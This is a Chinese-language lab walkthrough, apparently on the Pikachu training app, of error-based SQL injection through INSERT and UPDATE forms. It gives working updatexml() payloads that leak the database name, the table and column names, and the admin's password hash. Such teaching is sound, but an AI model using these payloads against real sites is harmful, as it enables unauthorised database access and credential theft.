SQL注入-基于insert/update利用案例
sql语句正常插入表中的数据
insert into member(username,pw,sex,phonenum,address,email) values('xiaoqiang',1111,1,2,3,4);
select * from member;
例如插入小强数据,如图所示:
采用or这个运算符,构造闭合语句
values('xiaoqiang' or or '',1111,1,2,3,4);
‘xiaoqinag’ or __ or 中后面的那个or后的单引号是为了闭合掉语句后面本身带有的单引号。而前面第一个or后是我们要填的注入语句。
这里还是用后台报错的方法来构造payload,且有必要提到的是,这里我们还用的了updatexmal()
基于insert语句下的报错:
暴库payload语句
xiaoqiang' or updatexml(1,concat(0x7e,database()),0) or '
爆出数据库:pikachu 如图所示:
基于insert利用案例(与update是一样的)
通过前端网页进行测试,点击insert注入->注册,必填项输入单引号,看后台会执行报错不
发现被后台数据执行,返回报错信息sql语句错误
输入payload爆库语句进行测试,查看结果
xiaoqiang' or updatexml(1,concat(0x7e,database()),0) or '
发现数据库已经显示pikachu
输入payload爆表名称语句,也是要加limit参数,一次一次的去测试
xiaoqiang' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '
发现表名称为users比较敏感
根据已知的表名进行爆列字段的payload语句,一次一次进行测试
xiaoqiang' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) or '
爆出字段用户名username
爆出字段密码:password
爆出用户名和密码的payload语句
xiaoqiang' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or '
发现高级用户admin
根据已知的表名,用户名,进行爆出密码的payload语句
xiaoqiang' or updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) or '
爆出md5值密码,被加密了,可以进行解密,即可;
基于update利用案例(与insert是一样的)
例如:还是用暴库语句,基于报错:
xiaoqiang’ or updatexml(1,concat(0x7e,database()),0) or ’
登录lucy的账号,进行修改数据,输入payload语句进行暴库
如果所示,库名被暴漏出来,接下来同上一样的操作,这里就不演示了;